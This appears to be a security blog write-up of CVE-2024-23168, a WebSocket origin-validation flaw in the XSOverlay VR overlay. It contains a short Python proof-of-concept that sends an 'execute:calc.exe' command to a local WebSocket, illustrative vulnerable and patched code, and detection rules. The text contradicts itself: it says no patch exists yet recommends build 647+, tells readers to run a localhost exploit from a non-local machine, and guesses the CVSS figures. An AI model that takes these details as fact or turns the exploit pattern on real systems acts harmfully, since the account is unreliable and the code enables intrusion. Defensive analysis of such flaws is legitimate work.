CVE-2024-23168

Executive Summary

CVE-2024-23168 is a critical vulnerability in Xiexe XSOverlay, a popular overlay application for virtual reality (VR) environments. The flaw allows non-local websites to send malicious commands to the WebSocket API, leading to arbitrary code execution on the user's system. This vulnerability is particularly dangerous because it can be exploited remotely without user interaction, potentially compromising VR setups and exposing sensitive data. The vendor has not released a patch as of the latest advisory.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone application vulnerability.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the description, the vulnerability would likely score high (8.0-9.0) due to:

• Attack Vector (AV): Network (non-local websites)
• Attack Complexity (AC): Low (simple WebSocket commands)
• Privileges Required (PR): None
• User Interaction (UI): None
• Scope (S): Changed (impact on system beyond the application)
• Confidentiality (C): High
• Integrity (I): High
• Availability (A): High

Threat Level: Critical. Exploitation is straightforward and can lead to full system compromise.

Deep Dive & Mechanics

XSOverlay uses a WebSocket API for local communication between the overlay and other applications. The vulnerability arises because the WebSocket server does not validate the origin of incoming connections. A malicious website can establish a WebSocket connection to the local XSOverlay server and send crafted commands. These commands can execute arbitrary code, such as launching executables, modifying files, or exfiltrating data.

The attack flow:

1. User visits a malicious website.
2. The website's JavaScript opens a WebSocket connection to ws://localhost:<port> (default port for XSOverlay).
3. The website sends a malicious command (e.g., execute:calc.exe).
4. XSOverlay processes the command without origin validation, executing the code.

Vulnerable vs. Patched Code

Vulnerable Code (before build 647):

// WebSocket server accepts all connections
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 8080 });

wss.on('connection', function connection(ws, req) {
    // No origin check
    ws.on('message', function incoming(message) {
        // Process command directly
        executeCommand(message);
    });
});

Patched Code (build 647+):

const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 8080 });

wss.on('connection', function connection(ws, req) {
    // Validate origin
    const origin = req.headers.origin;
    if (origin !== 'http://localhost' && origin !== 'https://localhost') {
        ws.close(1008, 'Origin not allowed');
        return;
    }
    ws.on('message', function incoming(message) {
        // Sanitize and validate command
        if (isValidCommand(message)) {
            executeCommand(message);
        }
    });
});

Exploitation & Lab Setup

Red Team

Exploit Code (Python):

import asyncio
import websockets

async def exploit():
    uri = "ws://localhost:8080"
    async with websockets.connect(uri) as websocket:
        # Send malicious command to execute calculator
        await websocket.send("execute:calc.exe")
        print("Command sent")

asyncio.run(exploit())

Usage:

1. Ensure XSOverlay is running on the target system.
2. Run the Python script from a non-local machine or a malicious website.
3. The script connects to the WebSocket and sends a command to execute calc.exe.

Blue Team

Detection:

• Monitor for unexpected WebSocket connections to localhost ports (e.g., 8080).
• Look for outbound connections from browsers to localhost WebSocket endpoints.
• Use network monitoring to detect unusual WebSocket traffic.

Mitigation:

• Block WebSocket connections from non-local origins using a firewall or proxy.
• Update XSOverlay to the latest build (647+).
• Implement browser security policies (e.g., Content Security Policy) to restrict WebSocket connections.

Indicators of Compromise (IOCs)

• Network: WebSocket connections to ws://localhost:8080 from external IPs.
• Process: Unexpected execution of calc.exe, cmd.exe, or other binaries.
• File: Presence of malicious JavaScript files that initiate WebSocket connections.
• Registry: Unusual entries in HKEY_CURRENT_USER\Software\Xiexe\XSOverlay.

Detection Engineering

YARA Rule

rule XSOverlay_WebSocket_Exploit {
    meta:
        description = "Detects XSOverlay WebSocket exploit attempts"
        author = "Valters IT"
        date = "2024-01-01"
    strings:
        $ws_connect = "ws://localhost:8080" ascii wide
        $cmd_exec = "execute:" ascii wide
    condition:
        $ws_connect and $cmd_exec
}

Sigma Rule

title: XSOverlay WebSocket Exploit Detection
id: xsoverlay-websocket-exploit
status: experimental
description: Detects attempts to exploit CVE-2024-23168 via WebSocket
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        DestinationIp: '127.0.0.1'
        DestinationPort: 8080
        Initiated: 'true'
    condition: selection
falsepositives:
    - Legitimate local applications
level: high

Suricata Rule

alert tcp any any -> 127.0.0.1 8080 (msg:"XSOverlay WebSocket Exploit Attempt"; flow:to_server; content:"GET /"; content:"Upgrade: websocket"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable XSOverlay WebSocket functionality if not needed.
2. Update: Apply the patch from build 647 or later.
3. Firewall: Block inbound connections to port 8080 from non-local sources.
4. Browser Security: Implement Content Security Policy (CSP) to restrict WebSocket connections.
5. Monitor: Use the provided detection rules to identify exploitation attempts.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert